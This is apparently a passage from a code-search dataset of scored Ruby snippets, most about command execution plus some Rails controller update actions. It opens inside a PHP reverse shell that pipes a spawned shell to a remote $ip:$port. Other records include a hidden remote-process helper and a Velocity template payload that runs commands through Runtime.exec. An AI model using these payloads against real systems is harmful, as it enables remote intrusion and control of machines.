0 => array(\"pipe\", \"r\"), 1 => array(\"pipe\", \"w\"), 2 => array(\"pipe\", \"w\")); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) {\tprintit(\"ERROR: Can\\'t spawn shell\"); exit(1); }; stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\"Successfully opened reverse shell to $ip:$port\"); while (1) { if (feof($sock)) { printit(\"ERROR: Shell connection terminated\"); break; } if (feof($pipes[1])) { printit(\"ERROR: Shell process terminated\"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\"SOCK READ\"); $input = fread($sock, $chunk_size); if ($debug) printit(\"SOCK: $input\"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\"STDOUT READ\"); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\"STDOUT: $input\"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\"STDERR READ\"); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\"STDERR: $input\"); fwrite($sock, $input); } }; fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print \"$string\\n\"; } } ?>'\n return fname, php_shell\n end", "title": "" }, { "docid": "eb1ef7ee73c1b4bd41cfad4f01c93a99", "score": "0.50567603", "text": "def exec_zi(command,zapp_server)\n \tcmd_to_exec = %Q(echo \"dc #{command}\" | #{Zappzi} --port #{zapp_server})\n\t\t# puts \"command ==========> #{cmd_to_exec}\"\n\t\t\n\t\texec_open(cmd_to_exec)\n end", "title": "" }, { "docid": "f1ebbb728f830e7339ff1ceb6028ce88", "score": "0.50530046", "text": "def m_exec(client, cmd)\n begin\n r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})\n b = \"\"\n while(d = r.channel.read)\n b << d\n break if d == \"\"\n end\n r.channel.close\n r.close\n b\n rescue ::Exception => e\n print_error(\"Failed to run command #{cmd}\")\n print_error(\"Error: #{e.class} #{e}\")\n end\nend", "title": "" }, { "docid": "f1ebbb728f830e7339ff1ceb6028ce88", "score": "0.50530046", "text": "def m_exec(client, cmd)\n begin\n r = client.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})\n b = \"\"\n while(d = r.channel.read)\n b << d\n break if d == \"\"\n end\n r.channel.close\n r.close\n b\n rescue ::Exception => e\n print_error(\"Failed to run command #{cmd}\")\n print_error(\"Error: #{e.class} #{e}\")\n end\nend", "title": "" }, { "docid": "1e624b5353620fe0e05142a710a2f7a6", "score": "0.50422776", "text": "def exec_file(sid, filename)\r\n send_request_cgi(\r\n 'uri' => normalize_uri(target_uri.path, 'fsm', filename)\r\n )\r\n end", "title": "" }, { "docid": "7554699def1a1a72fffb4fe49c2f7c52", "score": "0.5033641", "text": "def remote_command(cmd)\n output = \"\"\n Net::SSH.start(@address, @user, :password => @password) do |ssh|\n output = ssh.exec! cmd\n end\n output\n end", "title": "" }, { "docid": "4b394bfccf2960f5ae50b5daa60f1d25", "score": "0.50316066", "text": "def pull\n `wget #{@url}`\n end", "title": "" }, { "docid": "f2e34549505b6943c1d66f1465b0ad64", "score": "0.5030349", "text": "def download_wordpress\n `wget #{LATEST_WP}`\nend", "title": "" }, { "docid": "9a6dd7b2b330ae41cb9c862efb0af9a0", "score": "0.50009704", "text": "def run_script(script,opts=nil)\n if script.is_a?(Executable)\n script = script.right_script\n end\n serv_href = URI.parse(self.href)\n script_options = Hash.new\n script_options[:server] = Hash.new\n script_options[:server][:right_script_href] = script.href\n script_options[:server][:parameters] = opts unless opts.nil?\n location = connection.post(serv_href.path + '/run_script', script_options)\n Status.new('href' => location)\n end", "title": "" }, { "docid": "0a9454d4244cb612342ad88dd5245698", "score": "0.50009155", "text": "def exec(cmd, opts={})\n output = opts.fetch(:stream, StringIO.new(''))\n if(opts[:cwd])\n wrap = StringIO.new(\"#!/bin/sh\\ncd #{opts[:cwd]}\\n#{cmd}\")\n push_file(wrap, '/tmp/.remote_process_wrap')\n exec('chmod 755 /tmp/.remote_process_wrap')\n cmd = '/tmp/.remote_process_wrap'\n end\n code = server.api.server_execute(server, cmd,\n :stream => output,\n :return_exit_code => true,\n :timeout => opts.fetch(:timeout, 20),\n :environment => Smash.new(\n 'HOME' => '/root',\n 'USER' => 'root'\n ).merge(opts.fetch(:environment, {}))\n )\n if(output.respond_to?(:rewind) && (!output.respond_to?(:tty?) || !output.tty?))\n output.rewind\n end\n Result.new(code, output)\n end", "title": "" }, { "docid": "55fb89126bf08460a67c66463a02c828", "score": "0.49996856", "text": "def exec_command(command_string)\n io = IO.popen(command_string)\n raise Indy::Source::Invalid, \"No data returned from command string execution\" if io.eof?\n io\n end", "title": "" }, { "docid": "78ff14aa7c17ae5fd40157eeb1a47b65", "score": "0.49953824", "text": "def iboxExecute(ibox_ip, ibox_port, instruction, user, password)\n require 'net/http'\n require 'uri'\n ws = 'http://' + ibox_ip + ':' + ibox_port\n url = URI.parse(ws)\n begin\n req = Net::HTTP::Get.new(url.path + instruction )\n req.basic_auth user, password\n res = Net::HTTP.start(url.host, url.port) { |http| http.request(req) }\n #escribo archivo de texto con la salida del web service\n path = Rails.root.to_s + '/tmp/server' + session[:user_id].to_s + session[:ibox_id].to_s + '.txt'\n f_out = File.new(path,'w')\n f_out.puts res.body\n f_out.close\n res = Array.new\n f_in = File.open(path,'r') do |f|\n while line = f.gets\n res << line.to_s.chomp\n end\n end\n File.delete(path)\n rescue Timeout::Error, Errno::EINVAL, Errno::ECONNRESET, EOFError,Errno::EHOSTUNREACH,\n Net::HTTPBadResponse, Net::HTTPHeaderSyntaxError, Net::ProtocolError,SocketError => e\n end\n res\n end", "title": "" }, { "docid": "54380230d82a9a076492a7efde707520", "score": "0.49948493", "text": "def exec(sock, ver, path, limit = nil) #:nodoc: internal use only\n if @body\n send_request_with_body sock, ver, path, @body, limit\n elsif @body_stream\n send_request_with_body_stream sock, ver, path, @body_stream, limit\n else\n write_header sock, ver, path\n end\n end", "title": "" }, { "docid": "39b24bbe20d8c7426444b779bf4d80b0", "score": "0.49930575", "text": "def exec(cmd, opts = nil, wait_closed = true)\n request('exec', cmd, EXT_IGNORE)\n Stream.new(self).gets(opts)\n rescue SSH::ChannelRequestFailed\n nil\n ensure\n close(wait_closed)\n end", "title": "" }, { "docid": "6a2f3d3f18b3a8d4e358b1cff5f285b7", "score": "0.49898672", "text": "def get_cmd(host)\n if host.is_pe?\n \"#{host['puppetbindir']}/ruby -v\"\n else\n 'ruby -v || echo \"none\"'\n end\nend", "title": "" }, { "docid": "c6befc5f0b8e44e4703a0b72679de711", "score": "0.4964881", "text": "def get_exec_vm\r\n (\r\n <<~EOF\r\n $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()\r\n EOF\r\n )\r\n end", "title": "" }, { "docid": "9eaa27d5a29742b9afce740d4468e1fe", "score": "0.4963023", "text": "def fetch(url, filename=nil, timeout=nil, &callback)\n require 'uri'\n\n uri = URI(url)\n filename = File.basename(uri.path) if filename.nil?\n\n total = bytes = oldbytes = 0\n status = ''\n done = false\n lastactivity = Time.now\n\n ## RouterOS versions 4.9 and prior (not sure if this version cut-off\n ## is exactly right) would accept the url parameter, but failed to\n ## download the files. So for versions older than this, we'll use\n ## the mode/src-path/port parameters instead if possible.\n if !@os_version.nil? && lambda {|a,b|\n sr = %r{(?:\\.|rc|beta|alpha)}\n a = a.split(sr).map{|i| i.to_i}\n b = b.split(sr).map{|i| i.to_i}\n i = 0\n while i < a.size && i < b.size\n return -1 if a[i] < b[i]\n return 1 if a[i] > b[i]\n i += 1\n end\n return a.size <=> b.size\n }.call(@os_version, '4.9') < 1\n command = [\n '/tool/fetch', '=mode=' + uri.scheme,\n '=src-path=' + uri.path + (uri.query.size > 0 ? '?' + uri.query : ''),\n '=dst-path=' + filename\n ]\n case uri.scheme\n when 'http'\n command << '=port=80'\n when 'https'\n command << '=port=443'\n end\n else\n command = [\n '/tool/fetch',\n '=url=' + url,\n '=dst-path=' + filename\n ]\n end\n\n req = get_reply_each(command[0], *command[1..-1]) do |r, s|\n if s.key?('!re') && !done\n unless s.key?('status')\n raise MTik::Error.new(\"Unknown response to '/tool/fetch': missing 'status' in response.\")\n end\n status = s['status']\n case status\n when 'downloading'\n total = s['total'].to_i\n bytes = s['downloaded'].to_i\n if bytes != oldbytes\n lastactivity = Time.now\n elsif timeout != 0 && !timeout.nil? && Time.now - lastactivity > timeout\n ## Cancel the request (idle too long):\n get_reply('/cancel', '=tag=' + r.tag) {}\n end\n callback.call(status, total, bytes, r)\n when 'connecting', 'requesting'\n callback.call(status, 0, 0, r)\n when 'failed', 'finished'\n bytes = total if status == 'finished'\n callback.call(status, total, bytes, r)\n done = true\n ## Now terminate the download request (since it's done):\n get_reply('/cancel', '=tag=' + r.tag) {}\n else\n raise MTik::Error.new(\"Unknown status in '/tool/fetch' response: '#{status}'\")\n end\n elsif s.key?('!trap')\n ## Pass trap message back (unless finished--in which case we\n ## ignore the 'interrrupted' trap message):\n callback.call(s['message'], total, bytes, r) if !done\n end\n end\n end", "title": "" }, { "docid": "4275e462c06c2e09ab79401e258514ab", "score": "0.4957613", "text": "def execute(path, params, host)\n command = self['TEMPLATE/COMMAND']\n\n command.prepend(\"#{path}/\") if command[0] != '/'\n\n stdin = nil\n\n if as_stdin?\n stdin = params\n elsif !params.empty?\n command.concat(\" #{params}\")\n end\n\n sec_timeout = timeout\n\n if !remote?\n LocalCommand.run(command, nil, stdin, sec_timeout)\n elsif !host.empty?\n SSHCommand.run(command, host, nil, stdin, sec_timeout)\n else\n -1\n end\n end", "title": "" }, { "docid": "b1dead25b4180991240b28081a9373a7", "score": "0.495589", "text": "def exec(cmd)\n\t\tbegin\n\t\t\tout = cmd_exec(cmd).chomp\n\t\trescue ::Timeout::Error => e\n\t\t\tvprint_error(\"#{@peer} - #{e.message} - retrying...\")\n\t\t\tretry\n\t\trescue EOFError => e\n\t\t\tvprint_error(\"#{@peer} - #{e.message} - retrying...\")\n\t\t\tretry\n\t\tend\n\tend", "title": "" }, { "docid": "b3c15f9a12a4fd862293b298bc454f1b", "score": "0.4955388", "text": "def remote_path\n \"https://get.videolan.org/vlc/#{version}/win64/vlc-#{version}-\" \\\n 'win64.exe'\n end", "title": "" }, { "docid": "8bc1982f11fac39e13fb934eea0c2b22", "score": "0.49515498", "text": "def current_remote_server; end", "title": "" }, { "docid": "97b107b4ad7d42c70107dad8d08ad797", "score": "0.49514478", "text": "def script!(source, options={})\n exit_status, stdout, stderr, script_path = script(source, options)\n error_msg = options[:error_msg] || \"The following script exited with an error\"\n raise Chaos::RemoteError.new(stdout, stderr, exit_status, script_path), error_msg if exit_status != 0\n return stdout\n end", "title": "" }, { "docid": "78b6fe3b6a0dddc24a969c6a97b6e1ad", "score": "0.49416184", "text": "def update_latest_version()\n require 'net/http'\n require 'uri'\n\n url = URI.parse('http://api.wordpress.org/core/version-check/1.5/')\n req = Net::HTTP::Get.new(url.path)\n res = Net::HTTP.start(url.host, url.port) { |http|\n http.request(req)\n }\n\n latest_version_num = res.body.split(\"\\n\")[3]\n latest_version_dir = \"#{node[:app_wordpress][:version_store_path]}/#{latest_version_num}\"\n\n if !::File.exist? latest_version_dir\n d = directory latest_version_dir do\n recursive true\n action :nothing\n end\n\n b = bash \"Downloading Wordpress #{latest_version_num}\" do\n code \"wget -q -O #{latest_version_dir}/wordpress.tar.gz http://wordpress.org/wordpress-#{latest_version_num}.tar.gz\"\n action :nothing\n end\n\n# remote_file \"#{latest_version_dir}/wordpress.tar.gz\" do\n# source \"http://wordpress.org/wordpress-#{latest_version_num}.tar.gz\"\n# backup false\n# end\n\n l = link \"#{node[:app_wordpress][:version_store_path]}/latest\" do\n to latest_version_dir\n action :nothing\n end\n\n # We need to do this \"right now\" because we're using this like a blocking method call\n d.run_action(:create)\n b.run_action(:run)\n l.run_action(:create)\n end\nend", "title": "" }, { "docid": "ef9293f07364eca581d7dba1548c891c", "score": "0.4932934", "text": "def remote_expr(expression)\n execute([executable, \"--servername\", name, \"--remote-expr\", expression])\n end", "title": "" }, { "docid": "ef9293f07364eca581d7dba1548c891c", "score": "0.4932934", "text": "def remote_expr(expression)\n execute([executable, \"--servername\", name, \"--remote-expr\", expression])\n end", "title": "" }, { "docid": "65f5da5d1eda39788b67c977e1d16cdd", "score": "0.4932763", "text": "def execute\n response = http_request(uri)\n check_and_return_http_response(response)\n end", "title": "" }, { "docid": "c49a84fc34fcdbed1b8bb7b1ec9e7336", "score": "0.49279037", "text": "def fetch_or_create_pre_provision_script(env)\n @script_tmp_path =\n env[:tmp_path].join(\"#{Time.now.to_i}-#{provision_script_name}\")\n\n @logger.info(\"Generating provision script at: #{@script_tmp_path}\")\n\n url = @provision_script\n\n if File.file?(url) || url !~ /^[a-z0-9]+:.*$/i\n @logger.info('Assuming URL is a file.')\n file_path = File.expand_path(url)\n file_path = Vagrant::Util::Platform.cygwin_windows_path(file_path)\n url = \"file:#{file_path}\"\n end\n\n # Download the provision script to a temporary path.\n # We store the temporary path as an instance variable so that\n # the `#recover` method can access it.\n begin\n if windows_guest?\n # Not sure how to do this in Windows yet...\n else\n downloader = Vagrant::Util::Downloader.new(\n url,\n @script_tmp_path,\n {}\n )\n downloader.download!\n end\n rescue Vagrant::Errors::DownloaderInterrupted\n # The downloader was interrupted, so just return, because that\n # means we were interrupted as well.\n env[:ui].info(I18n.t('vagrant-adam.download.interrupted'))\n return\n end\n end", "title": "" }, { "docid": "4e9945bf27835ec54db640d2800c5466", "score": "0.49273455", "text": "def exec; end", "title": "" }, { "docid": "4e9945bf27835ec54db640d2800c5466", "score": "0.49273455", "text": "def exec; end", "title": "" }, { "docid": "1fa09ac86945fcacc6c57708b1c1ea69", "score": "0.4924121", "text": "def transmit_command(command_str)\n \t puts \"sending command #{command_str}\"\n \t cmd_url = \"http://#{@host}/3?#{command_str}=I=3\"\n open cmd_url do |f|\n puts f.read\n end\n end", "title": "" }, { "docid": "5696d9ed2e948dd947e33e370314b5ca", "score": "0.4923148", "text": "def run_bash_script_remotely(source_path:, source_file:, remote_host:, key_pair_name:, parameter_string: \"\", as_sudo: false)\n scp_file(source_file: \"#{source_path}/#{source_file}\", remote_host: remote_host, key_pair_name: key_pair_name)\n sudo_prefix = \"\"\n sudo_prefix = \"sudo \" if as_sudo\n `ssh -i #{key_pair_name}.pem -o \\\"StrictHostKeyChecking=no\\\" ubuntu@#{remote_host} '#{sudo_prefix}bash -i #{source_file} #{parameter_string}'`\nend", "title": "" }, { "docid": "3f9504ef69d80e2c662fd8aaa1e8ce89", "score": "0.49212041", "text": "def ssh_exec\n ssh_exec_for @node\n end", "title": "" }, { "docid": "6093d308797ce1fc2c3e6fe430acd977", "score": "0.49159184", "text": "def remote_exec(server, command, why = nil)\n exit_code = 0\n sout = ''\n serr = ''\n Log.logger.debug(\"Executing #{command} on #{server}: #{why}\")\n ssh(server) do |s|\n s.run(\"logger -t ah-system-test -p daemon.notice 'executing #{command}: #{why}'\")\n (exit_code, sout, serr) = s.attempt(command)\n end\n Log.logger.debug(\"exit: #{exit_code}, sout: #{sout}, serr: #{serr}\")\n return exit_code, sout, serr\n end", "title": "" } ]
c1c8f786e3d1e79d7e6d780628f0b7cb
PATCH/PUT /clothing_types/1 PATCH/PUT /clothing_types/1.json
[ { "docid": "69c658e07d5fe156c0cf50e5c55fd5e6", "score": "0.7212358", "text": "def update\n respond_to do |format|\n if @clothing_type.update(clothing_type_params)\n format.html { redirect_to @clothing_type, notice: 'Clothing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing_type }\n else\n format.html { render :edit }\n format.json { render json: @clothing_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "a1aa2dfe3e0c161f7a4964616dfb4071", "score": "0.68707484", "text": "def update\n respond_to do |format|\n if @thing_type.update(thing_type_params)\n format.html { redirect_to @thing_type, notice: 'Thing type was successfully updated.' }\n format.json { render :show, status: :ok, location: @thing_type }\n else\n format.html { render :edit }\n format.json { render json: @thing_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4ca2b2df3cb35bbb0cc8d518703d699f", "score": "0.6705496", "text": "def update\n respond_to do |format|\n if @cloth_type.update(cloth_type_params)\n format.html { redirect_to @cloth_type, notice: \"Cloth type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @cloth_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @cloth_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dd53b06fcd495e18fc6d92ac94051fb2", "score": "0.64052624", "text": "def set_clothing_type\n @clothing_type = ClothingType.find(params[:id])\n end", "title": "" }, { "docid": "96fdca73f85450fbe1fca4b537670366", "score": "0.63278955", "text": "def update\n respond_to do |format|\n if @novelty_type.update(novelty_type_params)\n format.html { redirect_to @novelty_type, notice: 'Novelty type was successfully updated.' }\n format.json { render :show, status: :ok, location: @novelty_type }\n else\n format.html { render :edit }\n format.json { render json: @novelty_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27bf2343b43b279f3787ae78d10bd689", "score": "0.63267475", "text": "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "title": "" }, { "docid": "26416d4b1d4cda4b7df0692dccaf1f80", "score": "0.6291772", "text": "def update\n @crate_type = CrateType.find(params[:id])\n\n respond_to do |format|\n if @crate_type.update_attributes(params[:crate_type])\n format.html { redirect_to @crate_type, :notice => 'Crate type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @crate_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "162f253efe6b46f213554f52a2fa5b64", "score": "0.6291403", "text": "def update\n respond_to do |format|\n if @clothing.update(clothing_params)\n format.html { redirect_to @clothing, notice: 'Clothing was successfully updated.' }\n format.json { render :show, status: :ok, location: @clothing }\n else\n format.html { render :edit }\n format.json { render json: @clothing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2476b03c5acb67b51c3596660fc3deee", "score": "0.6138089", "text": "def update\n respond_to do |format|\n if @spec_type.update(spec_type_params)\n format.html { redirect_to @spec_type, notice: 'Spec type was successfully updated.' }\n format.json { render :show, status: :ok, location: @spec_type }\n else\n format.html { render :edit }\n format.json { render json: @spec_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c21e933b1e23b46990278b11cc12e4ec", "score": "0.6135121", "text": "def update\n @realty_type = RealtyType.find(params[:id])\n\n respond_to do |format|\n if @realty_type.update_attributes(params[:realty_type])\n format.html { redirect_to @realty_type, notice: 'Realty type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realty_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "461c0237ce4f846af02c0458702bc3ac", "score": "0.606297", "text": "def update\n @opportunity_type = OpportunityType.find(params[:id])\n\n respond_to do |format|\n if @opportunity_type.update_attributes(params[:opportunity_type])\n format.html { redirect_to @opportunity_type, notice: 'Opportunity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @opportunity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4534abaa93d76d28cf155d1284f6a93c", "score": "0.6053189", "text": "def update\n respond_to do |format|\n if @kind_of_boat.update(kind_of_boat_params)\n format.html { redirect_to @kind_of_boat, notice: 'Kind of boat was successfully updated.' }\n format.json { render :show, status: :ok, location: @kind_of_boat }\n else\n format.html { render :edit }\n format.json { render json: @kind_of_boat.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a4af85a6711c2318e10e8b2b36860f0", "score": "0.60364556", "text": "def update\n respond_to do |format|\n if @recipe_type.update(recipe_type_params)\n format.html { redirect_to @recipe_type, notice: \"Recipe type was successfully updated.\" }\n format.json { render :show, status: :ok, location: @recipe_type }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @recipe_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "481aa78dbb1d9aada2d9001dcb40e815", "score": "0.6021643", "text": "def update\n @client_type = ClientType.find(params[:id])\n\n respond_to do |format|\n if @client_type.update_attributes(params[:client_type])\n format.html { redirect_to @client_type, notice: 'Client type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @client_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5d96c879fee25218d2ac908a3bcaa3c6", "score": "0.6018961", "text": "def update\n prms = @boat_type.is_modification? ? modification_params : boat_type_params\n respond_to do |format|\n if @boat_type.update(prms)\n format.html { redirect_to edit_boat_type_path(@boat_type), notice: 'Тип лодки успешно обновлён' }\n format.json { render json: @boat_type.hash_view('control'), status: :ok}\n else\n format.html { render :edit }\n format.json { render json: @boat_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9fa01f9d3e0b7d01faa1831f2972c24e", "score": "0.6011001", "text": "def update\n @gl_type = GlType.find(params[:id])\n\n respond_to do |format|\n if @gl_type.update_attributes(gl_type_params)\n format.html { redirect_to gl_types_path, notice: 'Gl type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @gl_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0a534b51ace9acc60ce1bed16789d2ae", "score": "0.598943", "text": "def update\n @special_needs_type = SpecialNeedsType.find(params[:id])\n\n respond_to do |format|\n if @special_needs_type.update_attributes(params[:special_needs_type])\n format.html { redirect_to @special_needs_type, :notice => 'Tipo de necessidade especial atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @special_needs_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ffba9034b566bbcce2953d1c48704bc2", "score": "0.5961755", "text": "def update_break_type(id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/labor/break-types/{id}',\n 'default')\n .template_param(new_parameter(id, key: 'id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end", "title": "" }, { "docid": "738bc47ca3f3713d905399aa70697951", "score": "0.5938475", "text": "def clothing_type_params\n params.require(:clothing_type).permit(:name)\n end", "title": "" }, { "docid": "f9603b3d44faed9a2cfb9fb08aad435b", "score": "0.5932852", "text": "def change_type\n\t\t\trender json: User.update_type_by_id(params[:id], params[:type], params[:is])\n\t\tend", "title": "" }, { "docid": "9abe445526d64953a0fa417505056711", "score": "0.59265625", "text": "def update\n respond_to do |format|\n if @lift_type.update(lift_type_params)\n format.html {redirect_to lift_types_path, notice: 'Lift type was successfully updated.'}\n format.json {render :show, status: :ok, location: @lift_type}\n else\n format.html {render :edit}\n format.json {render json: @lift_type.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "ac992e491b946cacc824d8914e39f6d3", "score": "0.5913644", "text": "def update\n @appliance_type = ApplianceType.find(params[:id])\n\n respond_to do |format|\n if @appliance_type.update_attributes(params[:appliance_type])\n format.html { redirect_to @appliance_type, notice: 'Appliance type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @appliance_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "08463e922af9fc5632266106b491f31b", "score": "0.59045154", "text": "def update\n @thing = Thing.find(params[:id])\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to things_path, notice: 'Your thing was successfully updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @thing.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "97657cf41df5bc63b16346e059bdfd93", "score": "0.5898707", "text": "def update\n @collection_type = CollectionType.find(params[:id])\n\n respond_to do |format|\n if @collection_type.update_attributes(params[:collection_type])\n format.html { redirect_to @collection_type, notice: 'Collection type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @collection_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3b62ab748c1cde3b36abeaadca530788", "score": "0.5896968", "text": "def update\n @type.update(type_params)\n end", "title": "" }, { "docid": "d322d4a09ca961859dcca598f9c0990f", "score": "0.58914423", "text": "def update\n respond_to do |format|\n if @affected_type.update(affected_type_params)\n format.html { redirect_to @affected_type, notice: 'Affected type was successfully updated.' }\n format.json { render :show, status: :ok, location: @affected_type }\n else\n format.html { render :edit }\n format.json { render json: @affected_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e78ef70553e90d68b9868a8064bf629d", "score": "0.58904135", "text": "def update\n @girltype = Girltype.find(params[:id])\n\n respond_to do |format|\n if @girltype.update_attributes(params[:girltype])\n format.html { redirect_to @girltype, notice: 'Girltype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @girltype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9db3b33525447cc5a617313452ae53be", "score": "0.5873047", "text": "def update\n @jewelry_type = JewelryType.find(params[:id])\n\n respond_to do |format|\n if @jewelry_type.update_attributes(params[:jewelry_type])\n format.html { redirect_to @jewelry_type, notice: 'Jewelry type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jewelry_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "eb5aa4562d763955c32fd631a1960e7d", "score": "0.58691865", "text": "def update\n @act_type = ActType.find(params[:id])\n\n respond_to do |format|\n if @act_type.update_attributes(params[:act_type])\n format.html { redirect_to @act_type, notice: 'Данные типа документа успешно обновлены.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @act_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9163196cdf78d7c4d62d2a5ee693c6b", "score": "0.5865909", "text": "def update\n respond_to do |format|\n if @crossbowtype.update(crossbowtype_params)\n format.html { redirect_to @crossbowtype, notice: 'Crossbowtype was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @crossbowtype.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b77667e839f82a2c68d313776693d0e4", "score": "0.58640015", "text": "def update\n @company_type = CompanyType.find(params[:id])\n\n if @company_type.update(company_type_params)\n head :no_content\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "5292441b88cf7f78516423900dc2d5e5", "score": "0.58533776", "text": "def update\n respond_to do |format|\n if @good_type.update(good_type_params)\n format.html { redirect_to @good_type, notice: 'Good type was successfully updated.' }\n format.json { render :show, status: :ok, location: @good_type }\n else\n format.html { render :edit }\n format.json { render json: @good_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "585aeeb99a0886df5d0e23d276c17dc5", "score": "0.5843386", "text": "def update\n respond_to do |format|\n if @brake_type.update(brake_type_params)\n format.html { redirect_to brake_types_path, notice: 'Brake type was successfully updated.' }\n format.json { render :show, status: :ok, location: @brake_type }\n else\n format.html { render :edit }\n format.json { render json: @brake_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c029cc5208cfef53d6f8abeffcc67308", "score": "0.58342487", "text": "def update\n respond_to do |format|\n if @model_type.update(model_type_params)\n format.html { redirect_to @model_type, notice: 'Model type was successfully updated.' }\n format.json { render :show, status: :ok, location: @model_type }\n else\n format.html { render :edit }\n format.json { render json: @model_type.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9e4b32242f4ef188550c42ed8ca2529e", "score": "0.58332944", "text": "def update\n @thing = Thing.find(params[:id])\n params[:thing][:place_id] = place_id_from_form\n params[:thing][:owner_ids] = [ ] if params[:thing][:owner_ids].nil?\n params[:thing][:keeper_ids] = [ ] if params[:thing][:keeper_ids].nil?\n\n respond_to do |format|\n if @thing.update_attributes(params[:thing])\n format.html { redirect_to(@thing, :notice => 'Thing was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @thing.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2cfd099b8aa0cfa9fd09502bd3b59f46", "score": "0.5829342", "text": "def update\n @collection = @entity_type.collection\n respond_to do |format|\n if @entity_type.update(entity_type_params)\n format.html { redirect_to collection_entity_types_path(@collection), notice: 'The entity type was successfully updated.' }\n format.json { render :show, status: :ok, location: @entity_type }\n else\n format.html { render :edit 